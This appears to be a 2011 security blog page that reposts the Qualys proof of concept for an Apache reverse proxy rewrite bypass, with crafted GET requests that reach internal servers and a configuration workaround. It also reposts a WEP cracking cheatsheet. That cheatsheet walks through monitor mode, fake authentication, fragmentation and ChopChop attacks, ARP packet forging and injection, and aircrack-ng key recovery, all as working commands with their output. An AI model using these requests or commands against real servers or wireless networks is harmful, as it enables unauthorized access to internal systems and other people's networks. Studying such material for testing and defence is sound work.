Nov 28, 2011

Apache HTTP Server Reverse Proxy/Rewrite URL Validation Issue By Qualys

Proof of Concepts


Target: Fully patched Apache Web Server (Version 2.2.21) with CVE-2011-3368 patch applied, with a reverse proxy set up and incorrectly configured RewriteRule/ProxyPassMatch rules.

Rewrite rules in httpd.conf:
RewriteRule ^(.*) http://10.40.2.159$1
ProxyPassMatch ^(.*) http://10.40.2.159$1

Example 1:
GET @localhost::<PORT> HTTP/1.0\r\n\r\n
where <PORT> is any port number being requested.


To demonstrate the proof of concept, Tomcat was set up to run on port 8880 on the internal server. Please note that any application could be running on any port on the internal server and a malicious user could use the PoC to request access to an application running on that port.

Access to internal web server can be possible by using a crafted request like:
GET @localhost::8880 HTTP/1.0\r\n\r\n


The screenshot below shows that a basic query with the crafted request (see Figure 2, B) to the target results in access to the page at 8880 (see Figure 2, C).


Figure 2

Upon receiving the request, Apache translates the URL by applying the rewrite rules. The "uri" extracted is ":8880" which gets appended, resulting in the URL
http://10.40.2.159:8880
The "uri" extracted in this case is everything following the first occurrence of the colon (:) in the request. Since the crafted request has 2 colons (::), the second colon is treated as being part of the URI.


To view the URI being extracted based on the rewrite rules, “RewriteLogLevel” was set to 3 in Apache configuration file. The rewrite translation logs get written to the log file. The first step to come up with the crafted request was to review the log file by sending different requests and studying how the rewrite translation was working. In the case of Example 1, since everything following the first colon (:) was being treated as the URI, a second colon was appended with a port number to see the response. The server treated the second “:” as being part of the URI and since there was an application already running on the port, it was possible to gain access to the page.

Example 2:
GET <random_string>:@<internalservername> HTTP/1.0\r\n\r\n
where <random_string> is any string, <internalservername> is the domain of an internal server being requested.


Access to internal web server can be possible by using a crafted request like:
GET qualys:@qqq.qq.qualys.com HTTP/1.0\r\n\r\n


The screenshot below shows that a basic query with the crafted request to an internal website (see Figure 3, D) allows access to the page remotely (see Figure 3, E).


Figure 3

Upon receiving the request, Apache translates the URL by applying the rewrite rules. The "uri" extracted is "@qqq.qq.qualys.com" which gets appended, resulting in the URL
http://10.40.2.159@qqq.qq.qualys.com
The "uri" extracted in this case is everything following the first occurrence of the colon (:) in the request. This is treated as <username>@<host> giving access to the internal <host> if no authentication is required.


Workaround


Apache has not yet released a patch for this issue. Until a patch is release, configuring the reverse proxy rules correctly will prevent this issue from occurring. For example, in the above case, if the reverse proxy rules are configured as follows, the proof of concept will not work.

RewriteRule ^(.*) http://10.40.2.159/$1
ProxyPassMatch ^(.*) http://10.40.2.159/$1 
 
Source: https://community.qualys.com/blogs/securitylabs/2011/11/23/apache-reverse-proxy-bypass-issue 


If you like my blog, Please Donate Me

Nov 27, 2011

Google Search With Effectively




Source: http://mashable.com/2011/11/24/google-search-infographic/

If you like my blog, Please Donate Me

WEP Cracking Cheatsheet From Wicky.ws

I’m using an ALFA AWUS036H connected to a Acer Aspire One D255 running BackTrack 5. The first thing I’ve found with this set up is that the rtl8187 kernel module seems to conflict with the iwlagn Intel wireless driver, so I just remove the Intel one while I’m using the ALFA.
# rmmod iwlagn
Then plug in the ALFA. You should see something like the following in /var/log/messages:
Nov 25 10:07:15 tiny kernel: [ 902.196162] usb 1-2: new high speed USB device number 5 using ehci_hcd
Nov 25 10:07:15 tiny kernel: [ 902.656669] ieee80211 phy3: hwaddr 00:c0:ca:40:ad:17, RTL8187vB (default) V1 + rtl
8225z2, rfkill mask 2
Nov 25 10:07:15 tiny kernel: [ 902.676112] rtl8187: Customer ID is 0xFF
Nov 25 10:07:15 tiny kernel: [ 902.677228] rtl8187: wireless switch is on
Nov 25 10:07:15 tiny kernel: [ 902.677402] usbcore: registered new interface driver rtl8187
Nov 25 10:07:15 tiny kernel: [ 902.726509] udev: renamed network interface wlan0 to wlan1
Run airmon-ng to check that everything is looking ok:
# airmon-ng
Interface Chipset Driver
wlan1 Realtek RTL8187L rtl8187 – [phy3]
wlan1 can be used with the aircrack tools, this is good. Start monitor mode:
# airmon-ng start wlan1
Now you can start capturing wireless traffic. You can use with kismet or airodump-ng. Kismet is an excellent tool with lots of useful features. I’m not much of a fan of the newcore UI to be honest but running the kismet server provides you with some excellent output files and has GPS integration too for location goodness.
When I’m doing an assessment though, I tend to break out airodump-ng.  I just find its interface clearer and ultimately it plays nicely with the other aircrack tools that you’ll use to attack the networks.
# airodump-ng mon0
This on its own won’t record any output anywhere so its just to let you know what’s out there.  So we identify a WEP network, as denoted by WEP in the ENC column:
[ CH 4 ][ Elapsed: 2 mins ][ 2011-11-25 11:12
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
de:ad:de:ad:be:ef -66 76 3 0 11 54e WEP WEP BTHomeHub2-1234
The formatting above sucks but we can see ESSID BTHomeHub2-1234 on Channel 11 is running WEP. We can also see there's not much data on it. 4 packets. We're either too far away (Power -67 is not great) or there's no one using it. Proximity could be a problem but no one on it is not.
The first thing to note with a WEP network is that you can crack every single one. It's not dependent on the "passphrase" used to protect it or anything like that. The way it uses RC4 is fundamentally broken and the attacks now are so efficient that you can break any key, usually in minutes, even on a laptop.
With WEP I tend not to both with any of the myriad of attacks available, I go straight for the jugular and crack the key. It's never failed yet so why waste time with other attacks?
Attacking a WEP network with no clients
The basic idea is to "inject" traffic into the network in order to generate enough weak IVs to crack the WEP key.
1. Start data capture
Start capturing data to a file:
# airodump-ng --channel 11 --bssid de:ad:de:ad:be:ef --write BTHomeHub2-1234 mon0
I choose to write the data to a file named after the ESSID.
2. Fake auth
Now we need to perform a fake auth to the AP. Grab the MAC address of the mon0 interface:
# ifconfig mon0
mon0 Link encap:UNSPEC HWaddr 00-C0-CA-40-AD-17-00-00-00-00-00-00-00-00-00-00
UP BROADCAST NOTRAILERS RUNNING PROMISC ALLMULTI MTU:1500 Metric:1
RX packets:26335 errors:0 dropped:3078 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:5010971 (5.0 MB) TX bytes:0 (0.0 B)
Swap the hyphens for colons and use it in the following command:
# aireplay-ng --fakeauth 0 -o 1 -e BTHomeHub2-1234 -a de:ad:de:ad:be:ef -h 00:C0:CA:40:AD:17 mon0
You should get:
11:38:43 Waiting for beacon frame (BSSID: de:ad:de:ad:be:ef) on channel 11
11:38:43 Sending Authentication Request (Open System) [ACK]
11:38:43 Authentication successful
11:38:43 Sending Association Request [ACK]
11:38:43 Association successful :-) (AID: 1)
If the authentication is not successful there may be MAC filtering to get around. I’ll cover that another time maybe. In the airodump-ng screen you should your MAC address in the client list now.
3. Launch fragmentation attack
We’ll try a fragmentation attack first, then a ChopChop attack if this is not successful.
# aireplay-ng –fragment -b de:ad:de:ad:be:ef -h 00:C0:CA:40:AD:17 mon0
11:46:22 Waiting for beacon frame (BSSID: de:ad:de:ad:be:ef) on channel 11
11:46:22 Waiting for a data packet…
Read 579 packets…

Size: 68, FromDS: 1, ToDS: 0 (WEP)
BSSID = de:ad:de:ad:be:ef
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:24:17:16:85:0E

0×0000: 0862 0000 ffff ffff ffff dead dead beef .b………$,fF.
0×0010: 0024 1716 850e e08e 4547 3f00 626c 8e77 .$……EG?.bl.w
0×0020: 6371 b3ee bc9c e6d0 c16d 0f29 54f0 5344 cq…….m.)T.SD
0×0030: 129f 00c9 c491 0ff7 92df 984a 8009 5859 ………..J..XY
0×0040: cc5a ecb0 .Z..

Use this packet ? y
Saving chosen packet in replay_src-1125-114651.cap
11:47:06 Data packet found!
11:47:06 Sending fragmented packet
11:47:06 Got RELAYED packet!!
11:47:06 Trying to get 384 bytes of a keystream
11:47:07 Got RELAYED packet!!
11:47:07 Trying to get 1500 bytes of a keystream
11:47:07 Got RELAYED packet!!
Saving keystream in fragment-1125-114707.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
If this is successful, you can skip straight to Step 5. If not, try a ChopChop attack.
4. Launch a ChopChop attack
# aireplay-ng –chopchop -b de:ad:de:ad:be:ef -h 00:c0:ca:40:ad:17 mon0
11:50:10 Waiting for beacon frame (BSSID: de:ad:de:ad:be:ef) on channel 11
Read 51 packets…

Size: 76, FromDS: 1, ToDS: 0 (WEP)
BSSID = de:ad:de:ad:be:ef
Dest. MAC = 01:00:5E:00:00:01
Source MAC = 00:24:17:16:85:0E

0×0000: 0842 0000 0100 5e00 0001 dead dead beef .B….^….$,fF.
0×0010: 0024 1716 850e b00f a547 3f00 071f 4693 .$…….G?…F.
0×0020: 1750 ea4c 197d b353 0675 33b6 1ed6 619a .P.L.}.S.u3…a.
0×0030: 72a5 2fa6 4a27 47a9 d830 3699 7080 597c r./.J’G..06.p.Y|
0×0040: 4bfc f5e8 2ed0 b711 6d02 68b2 K…….m.h.

Use this packet ? y
Saving chosen packet in replay_src-1125-115012.cap
Offset 75 ( 0% done) | xor = 6B | pt = D9 | 296 frames written in 5040ms
Offset 74 ( 2% done) | xor = 32 | pt = 5A | 422 frames written in 7174ms
Offset 73 ( 4% done) | xor = 8D | pt = 8F | 141 frames written in 2399ms
Offset 72 ( 7% done) | xor = 3F | pt = 52 | 270 frames written in 4591ms
Offset 71 ( 9% done) | xor = 11 | pt = 00 | 275 frames written in 4674ms
Offset 70 (11% done) | xor = B7 | pt = 00 | 824 frames written in 14008ms
Offset 69 (14% done) | xor = AD | pt = 7D | 274 frames written in 4648ms
Offset 68 (16% done) | xor = 2C | pt = 02 | 272 frames written in 4634ms
Offset 67 (19% done) | xor = E8 | pt = 00 | 539 frames written in 9167ms
Offset 66 (21% done) | xor = F5 | pt = 00 | 138 frames written in 2332ms
Offset 65 (23% done) | xor = FC | pt = 00 | 272 frames written in 4633ms
Offset 64 (26% done) | xor = 4B | pt = 00 | 136 frames written in 2303ms
Offset 63 (28% done) | xor = 62 | pt = 1E | 137 frames written in 2335ms
Offset 62 (30% done) | xor = B5 | pt = EC | 271 frames written in 4613ms
Offset 61 (33% done) | xor = E4 | pt = 64 | 275 frames written in 4675ms
Offset 60 (35% done) | xor = 61 | pt = 11 | 273 frames written in 4637ms
Offset 59 (38% done) | xor = 99 | pt = 00 | 138 frames written in 2347ms
Offset 58 (40% done) | xor = 36 | pt = 00 | 137 frames written in 2329ms
Offset 57 (42% done) | xor = 34 | pt = 04 | 137 frames written in 2320ms
Offset 56 (45% done) | xor = 4C | pt = 94 | 137 frames written in 2345ms
Offset 55 (47% done) | xor = A8 | pt = 01 | 129 frames written in 2179ms
Offset 54 (50% done) | xor = 47 | pt = 00 | 136 frames written in 2318ms
Offset 53 (52% done) | xor = 27 | pt = 00 | 276 frames written in 4695ms
Offset 52 (54% done) | xor = AA | pt = E0 | 276 frames written in 4681ms
Offset 51 (57% done) | xor = 58 | pt = FE | 135 frames written in 2309ms
Offset 50 (59% done) | xor = 2E | pt = 01 | 137 frames written in 2329ms
Offset 49 (61% done) | xor = 0D | pt = A8 | 276 frames written in 4684ms
Offset 48 (64% done) | xor = B2 | pt = C0 | 137 frames written in 2323ms
Offset 47 (66% done) | xor = 63 | pt = F9 | 135 frames written in 2303ms
Offset 46 (69% done) | xor = 8C | pt = ED | 275 frames written in 4682ms
Offset 45 (71% done) | xor = D4 | pt = 02 | 138 frames written in 2338ms
Offset 44 (73% done) | xor = 1F | pt = 01 | 268 frames written in 4556ms
Offset 43 (76% done) | xor = B6 | pt = 00 | 276 frames written in 4694ms
Offset 42 (78% done) | xor = 73 | pt = 40 | 550 frames written in 9348ms
Offset 41 (80% done) | xor = 07 | pt = 72 | 275 frames written in 4674ms
Offset 40 (83% done) | xor = 55 | pt = 53 | 274 frames written in 4659ms
Sent 1940 packets, current guess: 8C…

The AP appears to drop packets shorter than 40 bytes.
Enabling standard workaround: IP header re-creation.
This doesn’t look like an IP packet, try another one.

Warning: ICV checksum verification FAILED! Trying workaround.
The AP appears to drop packets shorter than 40 bytes.
Enabling standard workaround: IP header re-creation.

Saving plaintext in replay_dec-1125-115040.cap
Saving keystream in replay_dec-1125-115040.xor

Completed in 25s (1.52 bytes/s)
5. Craft an ARP packet
With either the fragmentation or ChopChop attack we now have the keystream recovered. We can use this to craft an ARP packet which will cause the AP to generate more traffic.
# packetforge-ng –arp -a de:ad:de:ad:be:ef -h 00:c0:ca:40:ad:17 -k 255.255.255.255 -l 255.255.255.255 -y fragment-1125-114707.xor -w forged_arp
Now we have an ARP packet ready to inject in forged_arp.
6. Inject the ARP packet
Now we replay the encrypted ARP packet into the target network.
# aireplay-ng –interactive -F -r ./forged_arp mon0
If you look at the airodump-ng output now, you should see the #Data column incrementing wildly. If not, something has gone wrong.
7. Start aircrack-ng
Now we can start cracking using the airodump-ng output file:
# aircrack-ng ./BTHomeHub2-1234-01.cap -0
And wait for the magic words: KEY FOUND!
The key is NOT human-readable but it doesn’t need to be, you assign it straight to the wireless interface in Linux. Once my ALFA is up and running again, I can bring the built-in wireless card back online:
# modprobe iwlagn
Then set wlan0 accordingly:
# iwconfig wlan0 essid BTHomeHub2-1234 key XX:XX:XX:XX:XX:XX
where XX:XX:XX:XX:XX:XX is whatever was output by aircrack-ng. Shut down the interface and bring it back up and check you are associated:
# ifconfig wlan0 down
# ifconfig wlan0 up
# iwconfig wlan0
wlan0 IEEE 802.11bgn ESSID:”BTHomeHub2-1234″
Mode:Managed Frequency:2.462 GHz Access Point: de:ad:de:ad:be:ef
Bit Rate=1 Mb/s Tx-Power=14 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Encryption key:XX:XX:XX:XX:XX:XX
Power Management:off
Link Quality=24/70 Signal level=-86 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:3 Missed beacon:0
Source: http://blog.wicky.ws/2011/11/25/wep-cracking-cheatsheet/


If you like my blog, Please Donate Me
 

Sponsors

lusovps.com

Blogroll

About

 Please subscribe my blog.

 Old Subscribe

Share |